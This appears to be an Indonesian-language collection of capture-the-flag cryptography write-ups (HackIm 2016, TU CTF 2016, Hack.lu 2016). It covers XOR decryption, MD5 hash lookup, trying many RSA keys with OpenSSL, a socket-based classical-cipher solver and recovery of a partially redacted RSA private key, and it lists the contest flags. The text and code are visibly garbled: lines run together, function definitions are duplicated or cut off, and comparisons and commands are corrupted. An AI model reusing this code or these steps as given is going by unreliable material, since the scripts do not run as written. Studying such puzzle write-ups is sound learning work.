Setelah masuk pada kondo atau estate yang mewah, kamu akan merasakan rumah dari yester Star. Lantai yang mewah dan furnitur yang menampilkan kemewahan dari bintang ini. Namun dimanakah bintang ini? Ini dia, sedang terbaring pada sofanya. Dengan tubuh yang atraktif, dia masih terlihat seperti diva yang sexy kecuali wajahnya yang tidak dapat terlihat. Identitasnya sangat krusial untuk mengetahui siapa yang membunuhnya dan mengapa? Hanya terdapat sebuah file yang didalamnya berisi pesan yang telah disandikan saja yang ada untuk mengetahui namanya. Sangat yakin bahwa dia menggunakan enkripsi XOR untuk menyandikan file tersebut. Tantangannya adalah untuk mengetahui siapa namanya

Analysis

AncientSecretsOfTheKamaSutra.txt https://github.com/ctfs/write-ups-2016/raw/master/nullcon-hackim-2016/crypto/crypto-3- 400/AncientSecretsOfTheKamaSutra.txt

Diberikan sebuah

Melihat dari deskripsi problem dan judul file, mengantarkan pada link berikut ini http://www.imdb.com/title/tt0166981/ . Untuk penyelesaian, digunakanlah storyline untuk mendekrpsi file berikut ini.

from Crypto.Util.strxor import strxor

p = """Julie and Steve's sex life doesn't going the way they want to be, they want to know how they can add more and pure pleasure on their sex life. So they go to the library where they read

a book about ancient secrets of the Kama Sutra, during reading they unintentionally visit ancient India where they meet a mistress. The mistress guides Julie and Steve and teaches them Kama Sutra secrets and leads them to many places where they meet many people who practically teach them many more Kama Sutra secrets. Written by Sultan Ameer"""

c = open('AncientSecretsOfTheKamaSutra.txt').read().rstripc = c[0:len(p)]

plain = strxor(p, c)

print plain

Output Jeanna Fine Flag Jeanna Fine

HackIm CTF 2016 – crypto question 4

source: https://cryptsec.wordpress.com/2016/01/31/hackim-ctf-2016-write-up-crypto-

question-4-200-points/

Problem

Dia sangat berpengaruh dan kuat. Dia adalah kontak anda berikutya. Dapatkah anda keluar dari situasi ini. Anda harus menghubunginya segera. Siapakah dia? Beberapa pointer diintrecepted oleh KGB berada di file. Sekali kita tahu ia, kita dapat menemukan hal yang paling berharga yaitu, kebanggaannya.

Solution

Diberikan sebuah

https://github.com/ctfs/write-ups- 2016/raw/master/nullcon-hackim-2016/crypto/crypto-4-200/whatsHisPride.md5s yang memiliki hash md5.

file

whatHisPride.md5s

Sebenarnya hash md5 tidak dapat didekripsi namun dapat menemukan hash yang telah terdekrip mmenggunakan internet, salah satunya adalah http://hashkiller.co.uk/

d80517c8069d7702d8fdd89b64b4ed3b => Carrie 088aed904b5a278342bba6ff55d0b3a8 => Grease 56cdd7e9e3cef1974f4075c03a80332d => Perfect 0a6de9d8668281593bbd349ef75c1f49 => Shout 972e73b7a882d0802a4e3a16946a2f94 => Basic 1cc84619677de81ee6e44149845270a3 => Actor b95086a92ffcac73f9c828876a8366f0 => Aircraft b068931cc450442b63f5b3d276ea4297 => name

Setelah mendapatkan clue, maka dilakukan pencarian yang berujung pada halaman wiki berikut ini https://en.wikipedia.org/wiki/John_Travolta . Sehingga flag ditemukan.

Flag Jett Clipper Ella

HackIm CTF 2016 – crypto question 5

source: https://cryptsec.wordpress.com/2016/01/31/hackim-ctf-2016-write-up-crypto-

question-5-500-points/

Description

Sekarang kamu tahu siapa WARRIORnya. Petarung yang akan memutuskan takdir diantara 2 negara. Kebanggaan satu negara dan negara lain. Kamu memiliki file yang berisi informasi tentang identitas petarung tersebut. Namun file tersebut dienkripsi menggunakan kunci RSA. Berita baik, kamu memiliki public key pada file. Berita buruk, ada 49 kunci lainnya. Siapakah petarungnya?

Solution

Diberikan file crypto5.zip https://github.com/ctfs/write-ups-2016/raw/master/nullcon-hackim- 2016/crypto/crypto-5-500/crypto5.zip yang berisi

all_keys.txt warrior.txt

Pada all_keys.txt file ini memiliki 49 kunci RSA-2048 dan warrior.txt berisi cipher. Untuk menemukan menyelesaikan problem ini dapat digunakan OpenSSL dan script berikut ini

# To split all_keys.txt, use this command: split ­l 9 all_keys.txt

import os

signed_msg = 'warrior.txt' keys = ['xaa', 'xad', 'xag', 'xaj', 'xam', 'xap', 'xas', 'xav', 'xay', 'xbb', 'xbe', 'xbh', 'xbk', 'xbn', 'xbq', 'xbt', 'xbw', 'xab', 'xae', 'xah', 'xak', 'xan', 'xaq', 'xat', 'xaw', 'xaz', 'xbc', 'xbf', 'xbi', 'xbl', 'xbo', 'xbr', 'xbu', 'xbx', 'xac', 'xaf', 'xai', 'xal', 'xao', 'xar', 'xau', 'xax', 'xba', 'xbd', 'xbg', 'xbj', 'xbm', 'xbp', 'xbs', 'xbv'] for i in xrange(len(keys)):

pub_key = 'keys/{0}'.format(keys[i]) cmd = 'openssl rsautl ­in {0} ­verify ­inkey {1} ­pubin'.format(signed_msg, pub_key) os.system(cmd)

Output

This fighter is a designation for two separate, heavily upgraded derivatives of the Su­35 'Flanker' jet plane. They are single­seaters designed by Sukhoi(KnAAPO).

Setelah melakukan pencarian pada google dari petunjuk yang telah diberikan, maka flag ditemukan.

Flag Sukhoi Su-35

TU CTF 2016 – never ending crypto level 1-9

source: https://cryptsec.wordpress.com/2016/05/16/tu-ctf-2016-write-up-never-

ending-crypto-level-1-9/

Problem

Hope you remember 1984, because you are about to go on a journey.

Goal of this is to get through all of the rounds. Good luck.

nc 146.148.102.236 24069

Solution

Problem ini adalah problem tentang kriptografi klasik. Level 1

: Subtitute w/ finding closest plaintext

Level 7

: Vigenere like

: Autokey Vigenere like

Berikut ini adalah source code solver.py

from Crypto.Util.strxor import strxor from string import maketrans import socket import morse import re import difflib

chosen_letters = 'abcdefghijklmnopqrstuvwy ' memo = [] flag = ''

def remove_duplicate_item(my_list): unique_list = [] for i in my_list:

if i not in unique_list: unique_list.append(i) return unique_list

def get_middle_string(s, b, e): r = r"%s(.*?)%s" % (b,e) return re.findall(r,s)

def translate(cipher, intab): outtab = "abcdefghijklmnopqrstuvwy " trantab = maketrans(intab, outtab) return cipher.translate(trantab)

def get_cipher(recv): cipher = get_middle_string(recv, 'What is ', ' decrypted?') cipher = cipher[0] return cipher

def get_cipher2(recv): def get_cipher2(recv):

cipher = get_middle_string(recv, b, e) cipher = cipher[0] return cipher.decode('hex')

def get_intab(recv, chosen_letters): b = '{0} encrypted is '.format(chosen_letters) e = '\n'

intab = get_middle_string(recv, b, e) return intab[0]

def get_intab2(recv, chosen_letters): recv = recv.encode('hex') b = '{0}20656e6372797074656420697320'.format(chosen_letters.encode('hex')) e = '0a5768'

intab = get_middle_string(recv, b, e) intab = intab[0] return intab.decode('hex')

def sanitize_morse(cipher): return cipher.replace(' ',' / ')

def solve_morse(cipher): plain = '' plain = morse.decodeMorse(cipher) return plain.lower()

def solve_vigenere_like(chosen_letters, cipher, intab): plain = '' state = '' for idx in xrange(len(cipher)):

state = (ord(cipher[idx]) + (ord(chosen_letters[idx]) ­ ord(intab[idx]))) if state = 127:

state ­= 95 plain += chr(state) return plain

def solve_autovigenere_like(chosen_letters, cipher, intab): p1 = chosen_letters c1 = intab minus = min([len(c1), len(p1)]) k1 = strxor(p1[0:minus], c1[0:minus]) c2 = cipher k2 = k1[0:2] + c2[0:len(c2)­2] minus = min([len(k2), len(c2)]) p2 = strxor(k2[0:minus], c2[0:minus]) return remove_null(p2)

def solve_transpose(cipher, key): message = [''] * len(cipher) index = 0 count = 0 for letter in cipher:

message[index] = letter index += key if index > len(cipher) ­ 1:

count += 1 index = count

return ''.join(message)

def remove_null(state): state = state.encode('hex') def remove_null(state): state = state.encode('hex')

def save_memo(memo, plain, recv): if 'Correct' in recv: memo.append(plain) memo = remove_duplicate_item(memo) return memo

def get_flag(recv, flag): if '{' in recv: flag+=recv f = open('flag.txt','write(flag) f.close() return flag

def find_closest_plain(deduced, plain): scores = [] count = 0 for item in deduced:

for char in plain:

if char in item: count += 1

scores.append(count) count = 0

max_item = max(scores) return deduced[scores.index(max_item)]

def traverse(rounds, index, cipher, plain, recv): print '­'*64 print '[+] LEVEL {0} ­­> {1}'.format(rounds, index) print '[+] Cipher: {0}'.format(cipher) print '[+] Plain: {0}'.format(plain) print '­'*64 print '\n[+] Last Response: \n{0}\n{1}\n{2}\n'.format('­'*64, recv, '­'*64)

s = socket.socket() host = "146.148.102.236" port = 24069 s.connect((host, port))

recv = s.recv(2048) print recv

for i in xrange(50): s.send(chosen_letters + '\n') recv = s.recv(2048) cipher = get_cipher(recv) cipher = sanitize_morse(cipher) plain = solve_morse(cipher) s.send(plain + '\n') recv = s.recv(2048) traverse('#1', i, cipher, plain, recv) memo = save_memo(memo, plain, recv) flag = get_flag(recv, flag)

for i in xrange(100): s.send(chosen_letters + '\n') recv = s.recv(2048) intab = get_intab(recv, chosen_letters) cipher = get_cipher(recv) plain = translate(cipher, intab) s.send(plain + '\n') recv = s.recv(2048) for i in xrange(100): s.send(chosen_letters + '\n') recv = s.recv(2048) intab = get_intab(recv, chosen_letters) cipher = get_cipher(recv) plain = translate(cipher, intab) s.send(plain + '\n') recv = s.recv(2048)

for i in xrange(150): s.send(chosen_letters + '\n') recv = s.recv(2048) intab = get_intab(recv, chosen_letters) cipher = get_cipher(recv) plain = translate(cipher, intab) deduced = difflib.get_close_matches(plain, memo) plain = find_closest_plain(deduced, plain) s.send(plain + '\n') recv = s.recv(2048) traverse('|#4|#5|#6', i, cipher, plain, recv) memo = save_memo(memo, plain, recv) flag = get_flag(recv, flag)

for i in xrange(50): chosen_letters = 'aaaaaaaaaaaaaaaaaaaaaaaaa' s.send(chosen_letters + '\n') recv = s.recv(2048) intab = get_intab(recv, chosen_letters) cipher = get_cipher(recv) plain = solve_vigenere_like(chosen_letters, cipher, intab) deduced = difflib.get_close_matches(plain, memo) plain = find_closest_plain(deduced, plain) s.send(plain + '\n') recv = s.recv(2048) traverse('|#7', i, cipher, plain, recv) memo = save_memo(memo, plain, recv) flag = get_flag(recv, flag)

for i in xrange(50): chosen_letters = 'abcdefghijklmnopqrstuvwy ' s.send( chosen_letters +'\n') recv = s.recv(2048) intab = get_intab(recv, chosen_letters) cipher = get_cipher(recv) key = chosen_letters.find(intab[1]) plain = solve_transpose(cipher, key) plain = remove_null(plain) s.send(plain + '\n') recv = s.recv(2048) traverse('|#8', i, cipher, plain, recv) memo = save_memo(memo, plain, recv) flag = get_flag(recv, flag)

for j in xrange(53): chosen_letters = 'aaaaaaaaaaaaaaaaaaaaaaaaa' s.send(chosen_letters + '\n') recv = s.recv(2048) intab = get_intab2(recv, chosen_letters) cipher = get_cipher2(recv) plain = solve_autovigenere_like(chosen_letters, cipher, intab) s.send(plain + '\n') recv = s.recv(2048) traverse('|#9', i, cipher, plain, recv) memo = save_memo(memo, plain, recv) flag = get_flag(recv, flag)

s.close()

Gambar di atas adalah output dari solver.py

Dan berikut ini adalah hasil dari flag.txt beserta flag masing-masing level Correct! Round complete! TUCTF{i_wi11_n0t_5teal} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You take the book This is level 2 the attic Round 1. Give me some text:Correct! Round complete! TUCTF{c4n_s0me0ne_turn_a_1ight_0n} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You have found The Nothing This is level 3, The Nothing. Round 1. Give me some text:Correct! Round complete! TUCTF{5omething_is_b3tt3r_th4n_n0thing} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You have run into a bad place... This is level 4, the swamps of sadness. Round 1. Give me some text:Correct! Round complete! TUCTF{7urn_th4t_fr0wn_up5ide_d0wn} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You have found Falkor! This is level 5, the gnomes house. Round 1. Give me some text:Correct! Round complete! TUCTF{gn0mes_4re_p3ople_t00} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You must now meet the Oracle This is level 6, the Mirror of Truth. Round 1. Give me some text:Correct! Round complete! TUCTF{mirr0r_mirr0r_0n_th3_w4ll} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You have met the Oracle While escaping, you fall. This is level 7, The Sea of Possibilities. Round 1. Give me some text:Correct! Round complete!

TUCTF{c4ll_m3_ishmae1} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You have escapted the sea This is level 8, The dual of Gmork. Round 1. Give me some text:Correct! Round complete! TUCTF{it5_4ll_in_y0ur_mind} ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ You have made it to the end This is level 9, The Empress's Ivory Tower. Round 1. Give me some text:Correct! Round complete! TUCTF{it_is_5inally_0v3r!!} You saved Fantasia! There is a level 10... But that's another story.

Hack Lu CTF 2016 - redacted

source: https://cryptsec.wordpress.com/2016/10/27/my-write-up-on-hack-lu-2016-ctf-

redacted-crypto-200/

Problem

Pada problem ini diberikan file bernama redacted_6175ab865421ca2c83b7c77d7ee521f3 Redacted by cornelius (Crypto) 200 (+ 100) Points

Someone gave a nice presentation with some redacted ssh keys, I extracted them for you, the seem to belong to berlin@cthulhu.fluxfingers.net on port 1504. Good Luck

Attachment: [redacted]

Solution

Pada problem ini, tujuan utamanya adalah mengetahui private key yang telah hilang. Untuk menyelesaikannya

berikut ini https://etherhack.co.uk/asymmetric/docs/rsa_key_breakdown.html

ikuti

langkah

Kemudian merecovery private key RSA. Namun sebelumnya lakukan konversi menggunakan command berikut $ cat redacted_6175ab865421ca2c83b7c77d7ee521f3 | \ grep ­­invert­match '­' | base64 ­d | xxd ­pr

c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71ff4a9c d78e945d76f1c71c71c71c71c71c71c567bd011d643b3c71c71c71c71c71 c71c71c71c71c71c71c4c4920b1c71c71c71c71c71c71c71c7c702a2f21c 00e6711446857236b5c31106e4c1d3ee5bd7c785342aadb6a7d176df7edc b7ce1d78dfe992857e1a34730756186ca4c200dec2a97f33b36c789fd7bb 5866fbd68e83d823eae64c9e2d740f2f09d0383b39d51aaeb190858e8a3b 6ad9cbab8d935aa1bd01d1cbba238af4df8455d7d789c71ee6091f711e76 6f633a0420f530adb70495066070a07073fcb01d21cc2fd5648d9f5475d7 69697d3e325868315ab8e50e73500f4c2d0b8548ce38e01338294e810203 01000102820100305b823a4e4f4dedfdcd3b0055d9ff949466bb68be5870 1a781f91d7b29046e947b2de99df4b62a77d96058f811a8f3731476a1f35 4852803938d57b1b75929b1556d2c5eb0de6326ea93cda8e267d916e9f9c fd855a0181f4ffd743b24a85bf378bfbbcdfab13cea12a5b7ef49bf04b05 0b89a31b97006369c45ae9029291e30f789b3fd3dab4cd3b3b88b74890b3 57eec0f007535b2558c57604ade36522c39cfe22baba439407478059d630 747d752df521f88f44a0fed288d98e254840a259b46d451bb8e160f25946 85ec68ff6cef2dbb563134f44deb0e6d467e8ebf95516d51efa7b10bbb0f 20a4a6cd9c52599d67063dc8c07a0a48589cf5ec5a328102818100e4ddba 96c1cbc4f41204ee6fc16e14830438aeee4bbd21af5ce88dfd25a12f2a9a 26994eefa0e6bed04ac2e29bf639b4c8f975ad886f3115ec5e384cc68c1f d7d7db63cc63f6346152809c71d226223d7d6990cae64dfc16f174fa1a6e e46b25afaffcf3936a61d3f2c69d6cee994feff8f2f0a70638420110d303 d075ab16d302818100dee55998947bfdb75c7e349bc76a1673a8c41b6292 9c242c0e3d0c808738972518f8639304b3340d6a88510cc524e37963a42d 0638f605572aa7b93eda07dc29457118fa9a990062f05d0025d5467d3edf

8db448cf12ed4ab67967be70c2a5617b3085d0e151357d63b1eca4b53746 fcbe586cdc8a4405cfaf719f3f011318db028180061ab3e3597fe9dce8ae 20fdf216d18d3d0b95fedd1e4a4bb71aacced7b618dff604998a35720135 8db0b0ca0286eabb1bb12ba659413df9ebb807a0649b502e1d9fc865a734 e5e8c29e938da5a146c0851bcfb4d9b7b2c599e318d8a3a48c07114c8c5e a2cbef980b9da88d433feb95e6f9f3d9409d378577c16914a24ed1e90281 807c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c53e82ecf 9659a276fe5edb494353fd4aedcf16d80c1c2ffc71c71c71c71c71c71c71 c71c71c71c71c71c71c71c71c71c7154eabfa80a11b71c71c71c71c71c71 c71c71c71c71c71c71c71c4e0a6c3981108e695d4559880bff22c86b1a6f 7b2bc342a24e0fb4f1c71c71c71c71c71c71c71c71c71c71c71c71c71c71 c71c71c71c71c71c71c71c71c71c71c71c78854452a27d358a79163d47ae c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71c71 c71c71c71c71c77be212bf27e83fc2193dba0d564d874637fa897520a6a9 df3e843fab3c051256102723ef1dfed17983ad0d

Lakukan pengamatan secara hati-hati kemudian bandingkan private key RSA normal dengan nilai hexa desimal kunci sebelumnya $ openssl genrsa 2048

Setelah membandingkan, akan didapatkan hal berikut ini problem = '0000000000000000000000 00000000000000000000000000000000ff4a9cd78e945d76c00000000000000000000167bd011d6 43b300000000000000000000000000000000000c49208000000000000000000000003c702a2f21c 00e6711446857236b5c31106e4c1d3ee5bd7c785342aadb6a7d176df7edcb7ce1d78dfe992857e1 a34730756186ca4c200dec2a97f33b36c789fd7bb5866fbd68e83d823eae64c9e2d740f2f09d038 3b39d51aaeb190858e8a3b6ad9cbab8d935aa1bd01d1cbba238af4df8455d7d789c71ee6091f711 e766f633a0420f530adb70495066070a07073fcb01d21cc2fd5648d9f5475d769697d3e32586831 5ab8e50e73500f4c2d0b8548ce38e01338294e81 0203 01000102820100 305b823a4e4f4dedfdcd3b0055d9ff949466bb68be58701a781f91d7b29046e947b2de99df4b62a 77d96058f811a8f3731476a1f354852803938d57b1b75929b1556d2c5eb0de6326ea93cda8e267d 916e9f9cfd855a0181f4ffd743b24a85bf378bfbbcdfab13cea12a5b7ef49bf04b050b89a31b970 06369c45ae9029291e30f789b3fd3dab4cd3b3b88b74890b357eec0f007535b2558c57604ade365 22c39cfe22baba439407478059d630747d752df521f88f44a0fed288d98e254840a259b46d451bb 8e160f2594685ec68ff6cef2dbb563134f44deb0e6d467e8ebf95516d51efa7b10bbb0f20a4a6cd 9c52599d67063dc8c07a0a48589cf5ec5a3281 028181 00e4ddba96c1cbc4f41204ee6fc16e14830438aeee4bbd21af5ce88dfd25a12f2a9a26994eefa0e 6bed04ac2e29bf639b4c8f975ad886f3115ec5e384cc68c1fd7d7db63cc63f6346152809c71d226 223d7d6990cae64dfc16f174fa1a6ee46b25afaffcf3936a61d3f2c69d6cee994feff8f2f0a7063 8420110d303d075ab16d3 02818100 dee55998947bfdb75c7e349bc76a1673a8c41b62929c242c0e3d0c808738972518f8639304b3340 d6a88510cc524e37963a42d0638f605572aa7b93eda07dc29457118fa9a990062f05d0025d5467d 3edf8db448cf12ed4ab67967be70c2a5617b3085d0e151357d63b1eca4b53746fcbe586cdc8a440 5cfaf719f3f011318db 028180 061ab3e3597fe9dce8ae20fdf216d18d3d0b95fedd1e4a4bb71aacced7b618dff604998a3572013 58db0b0ca0286eabb1bb12ba659413df9ebb807a0649b502e1d9fc865a734e5e8c29e938da5a146 c0851bcfb4d9b7b2c599e318d8a3a48c07114c8c5ea2cbef980b9da88d433feb95e6f9f3d9409d3 78577c16914a24ed1e9 028180 7000000000000000000000000000000000000000000000000013e82ecf9659a276fe5edb494353f d4aedcf16d80c1c2ff00000000000000000000000000000000000000000000000000054eabfa80a 11b4000000000000000000000000000000000000000e0a6c3981108e695d4559880bff22c86b1a6

f7b2bc342a24e0fb4c000 000000 0000000000000000000000000000000000000000000000000000000000000000000038854452a27 d358a79163d47ae0000000000000000000000000000000000000000000000000000000000000000 00000000037be212bf27e83fc2193dba0d564d874637fa897520a6a9df3e843fab3c05125610272 3ef1dfed17983ad0d' example = '308204a402010002820101 00cc169430f791f19472609fd8daea8e9e273f17d514f3cee3deb75865e33526de4c86fa3b5073e 7e87af32c25b8869086641dce91e954b2a161b6271ed3daf46d2a57b929ee8c505af8c7dd21b6e0 8dec06a2dd3794829535d8a2b5c5e4067daffacb303fb489f9bd4dabf00e5ad7ff5c57cdf3aabc6 a21fea3e2500c0c113a743b7af686fbc6446a7f6047e875586aa024772925c2498d1356408aa502 42706416c565fd1964899258bcd52fd370a99dc4cb17ac11a1c797af9d508cac70a1527f905d622 63fa36128deee9e0cf92feea1878b5d2399e1267eb0b6bebb1cadf64dd71ad9f36b9cc420f7b0e9 5b283e6846fd28cf6b393e626aa2d22830ad91cf 0203 01000102820101 00c906ec8d972eb0911260ced2e23fec9f27f563da45bb29ed16b1ee66ddf8bb0278caf3ac7d40c e0c171f743aeb99d0be2fdb945ff13fb67c742ce237e162692526722637817bc0a2fb2e9348e444 284776f9f1810fcdd87fa396120a8ce33fe699d88efc112f5f49f23a0c49777e0f50bc446761a41 9bec67e532b99d2411e1b2119f88e376425b1000b1afddfada98b40ef74e3eaf96962afcba6c4e0 2cba3690f00a973a17e7e42eb7adbfff63f82f3d30bbbce738799455e8fd51b2f84c1478f3473e1 f80663f0b1d6952057d9b5f7dcfe1a87be7bc580f628050bbf5f30e4e956ca7ed71c7b16b3dd0b2 4367b96b3cef2700deaf78347ad035ff3a785541 028181 00e9befd5192d6f3773c9ea3abd3e8e8f5d1eb9e21f0df43c007bdf5915623630c3d5cccf97f259 58c6b2899750c2574a056d923d02018000b349127e1b4b676fe755a8cbc3a5d839ce6312e185f83 658ef525b5c640f36311e8c0e6aebed06948e6fad44955e58c8f0597162a4f6aa41b572e1d9e848 04168479822ef7f440bbf 02818100 df84bfb6acd770464571d91e81345575d6bdee79f8c7f64cba16e97ef8c57956d250c8211093bb3 e082e6ab34762971c9c2d52ac00ae7d91e450a21a17b4d6d90b608a58d97f120e39084b66fae532 dd65766b13f2d24de3ef9728492b602c0285bcfd50469f00bc900ae404063c80400c02d5ec8cd7e 0933d50c74991ae3df1 028180 3762db117e32d2c3d92859edf82b832fe44ae9506f8be7b8d3dcce185f09c98977ecca610020beb be4145db05f6d6ca22592142b57bf781b2f9c898fb0cb5f8cd1efdfd3261d4c775c1021350344d6 46b68df5f181286abc2ea3aec58f4f40f3564fef0765841bf733c2e62ca65ec57df8fd6365514e3 6b167ed83b1ae3d486f 028181 00b4c8bb0336731df5484fd7eb8b5757d3f2b7363e6310e0ce9828d5fc839bbd139312117c64db0 834190be9f34d4699b06345693b83659e5cb4ccdeffb9b2e39f334b873a6bd812337cbf8fb52032 e75c18a799ddcda579a8656dde00a85ba5dcf86cae7a1254a294e0f05e123f350a0a436cbbb8130 6bc367afe6de1bc39b111 028180 459ebcbc7d28167672c6dcf2641c6f37e80444d30c54935b5bd425f18e2e9ccaeaaf809953d900f 4245b2d20da7beb22ccaecb5c96cd85f6c91b7c74e05ef20ca205a9d68e560693c2a73a2efef56a e559939a092b07f337b5362c71f18845eff75bd7e42f320895344b48b1716421865ecaa98e82b71 a8b4dff0cf1cf724b2f'

Akan didapatkan properti private key RSA seperti berikut ini """ problem = ' # header 0000000000000000000000 #n 00000000000000000000000000000000ff4a9cd78e945d76c00000000000000000000167bd011d6 43b300000000000000000000000000000000000c49208000000000000000000000003c702a2f21c 00e6711446857236b5c31106e4c1d3ee5bd7c785342aadb6a7d176df7edcb7ce1d78dfe992857e1 a34730756186ca4c200dec2a97f33b36c789fd7bb5866fbd68e83d823eae64c9e2d740f2f09d038

3b39d51aaeb190858e8a3b6ad9cbab8d935aa1bd01d1cbba238af4df8455d7d789c71ee6091f711 e766f633a0420f530adb70495066070a07073fcb01d21cc2fd5648d9f5475d769697d3e32586831 5ab8e50e73500f4c2d0b8548ce38e01338294e81 #e 0203 010001 #d 02820100 305b823a4e4f4dedfdcd3b0055d9ff949466bb68be58701a781f91d7b29046e947b2de99df4b62a 77d96058f811a8f3731476a1f354852803938d57b1b75929b1556d2c5eb0de6326ea93cda8e267d 916e9f9cfd855a0181f4ffd743b24a85bf378bfbbcdfab13cea12a5b7ef49bf04b050b89a31b970 06369c45ae9029291e30f789b3fd3dab4cd3b3b88b74890b357eec0f007535b2558c57604ade365 22c39cfe22baba439407478059d630747d752df521f88f44a0fed288d98e254840a259b46d451bb 8e160f2594685ec68ff6cef2dbb563134f44deb0e6d467e8ebf95516d51efa7b10bbb0f20a4a6cd 9c52599d67063dc8c07a0a48589cf5ec5a3281 #p 028181 00e4ddba96c1cbc4f41204ee6fc16e14830438aeee4bbd21af5ce88dfd25a12f2a9a26994eefa0e 6bed04ac2e29bf639b4c8f975ad886f3115ec5e384cc68c1fd7d7db63cc63f6346152809c71d226 223d7d6990cae64dfc16f174fa1a6ee46b25afaffcf3936a61d3f2c69d6cee994feff8f2f0a7063 8420110d303d075ab16d3 #q 028181 00dee55998947bfdb75c7e349bc76a1673a8c41b62929c242c0e3d0c808738972518f8639304b33 40d6a88510cc524e37963a42d0638f605572aa7b93eda07dc29457118fa9a990062f05d0025d546 7d3edf8db448cf12ed4ab67967be70c2a5617b3085d0e151357d63b1eca4b53746fcbe586cdc8a4 405cfaf719f3f011318db # dp 028180 061ab3e3597fe9dce8ae20fdf216d18d3d0b95fedd1e4a4bb71aacced7b618dff604998a3572013 58db0b0ca0286eabb1bb12ba659413df9ebb807a0649b502e1d9fc865a734e5e8c29e938da5a146 c0851bcfb4d9b7b2c599e318d8a3a48c07114c8c5ea2cbef980b9da88d433feb95e6f9f3d9409d3 78577c16914a24ed1e9 # dq 028180 7000000000000000000000000000000000000000000000000013e82ecf9659a276fe5edb494353f d4aedcf16d80c1c2ff00000000000000000000000000000000000000000000000000054eabfa80a 11b4000000000000000000000000000000000000000e0a6c3981108e695d4559880bff22c86b1a6 f7b2bc342a24e0fb4c000 # qinv 000000 0000000000000000000000000000000000000000000000000000000000000000000038854452a27 d358a79163d47ae0000000000000000000000000000000000000000000000000000000000000000 00000000037be212bf27e83fc2193dba0d564d874637fa897520a6a9df3e843fab3c05125610272 3ef1dfed17983ad0d'

example = ' # header 308204a402010002820101 #n

00cc169430f791f19472609fd8daea8e9e273f17d514f3cee3deb75865e33526de4c86fa3b5073e 7e87af32c25b8869086641dce91e954b2a161b6271ed3daf46d2a57b929ee8c505af8c7dd21b6e0 8dec06a2dd3794829535d8a2b5c5e4067daffacb303fb489f9bd4dabf00e5ad7ff5c57cdf3aabc6 a21fea3e2500c0c113a743b7af686fbc6446a7f6047e875586aa024772925c2498d1356408aa502 42706416c565fd1964899258bcd52fd370a99dc4cb17ac11a1c797af9d508cac70a1527f905d622 63fa36128deee9e0cf92feea1878b5d2399e1267eb0b6bebb1cadf64dd71ad9f36b9cc420f7b0e9 5b283e6846fd28cf6b393e626aa2d22830ad91cf #e 0203 010001 #d 02820101 00c906ec8d972eb0911260ced2e23fec9f27f563da45bb29ed16b1ee66ddf8bb0278caf3ac7d40c e0c171f743aeb99d0be2fdb945ff13fb67c742ce237e162692526722637817bc0a2fb2e9348e444 284776f9f1810fcdd87fa396120a8ce33fe699d88efc112f5f49f23a0c49777e0f50bc446761a41 9bec67e532b99d2411e1b2119f88e376425b1000b1afddfada98b40ef74e3eaf96962afcba6c4e0 2cba3690f00a973a17e7e42eb7adbfff63f82f3d30bbbce738799455e8fd51b2f84c1478f3473e1 f80663f0b1d6952057d9b5f7dcfe1a87be7bc580f628050bbf5f30e4e956ca7ed71c7b16b3dd0b2 4367b96b3cef2700deaf78347ad035ff3a785541 #p 028181 00e9befd5192d6f3773c9ea3abd3e8e8f5d1eb9e21f0df43c007bdf5915623630c3d5cccf97f259 58c6b2899750c2574a056d923d02018000b349127e1b4b676fe755a8cbc3a5d839ce6312e185f83 658ef525b5c640f36311e8c0e6aebed06948e6fad44955e58c8f0597162a4f6aa41b572e1d9e848 04168479822ef7f440bbf #q 02818100 df84bfb6acd770464571d91e81345575d6bdee79f8c7f64cba16e97ef8c57956d250c8211093bb3 e082e6ab34762971c9c2d52ac00ae7d91e450a21a17b4d6d90b608a58d97f120e39084b66fae532 dd65766b13f2d24de3ef9728492b602c0285bcfd50469f00bc900ae404063c80400c02d5ec8cd7e 0933d50c74991ae3df1 # dp 028180 3762db117e32d2c3d92859edf82b832fe44ae9506f8be7b8d3dcce185f09c98977ecca610020beb be4145db05f6d6ca22592142b57bf781b2f9c898fb0cb5f8cd1efdfd3261d4c775c1021350344d6 46b68df5f181286abc2ea3aec58f4f40f3564fef0765841bf733c2e62ca65ec57df8fd6365514e3 6b167ed83b1ae3d486f # dq 028181 00b4c8bb0336731df5484fd7eb8b5757d3f2b7363e6310e0ce9828d5fc839bbd139312117c64db0 834190be9f34d4699b06345693b83659e5cb4ccdeffb9b2e39f334b873a6bd812337cbf8fb52032 e75c18a799ddcda579a8656dde00a85ba5dcf86cae7a1254a294e0f05e123f350a0a436cbbb8130 6bc367afe6de1bc39b111 # qinv 028180 459ebcbc7d28167672c6dcf2641c6f37e80444d30c54935b5bd425f18e2e9ccaeaaf809953d900f 4245b2d20da7beb22ccaecb5c96cd85f6c91b7c74e05ef20ca205a9d68e560693c2a73a2efef56a e559939a092b07f337b5362c71f18845eff75bd7e42f320895344b48b1716421865ecaa98e82b71 a8b4dff0cf1cf724b2f' """

Langkah selanjutnya adalah membangun private key yang hilang menggunakan rsatool ­­­­­BEGIN RSA PRIVATE KEY­­­­­

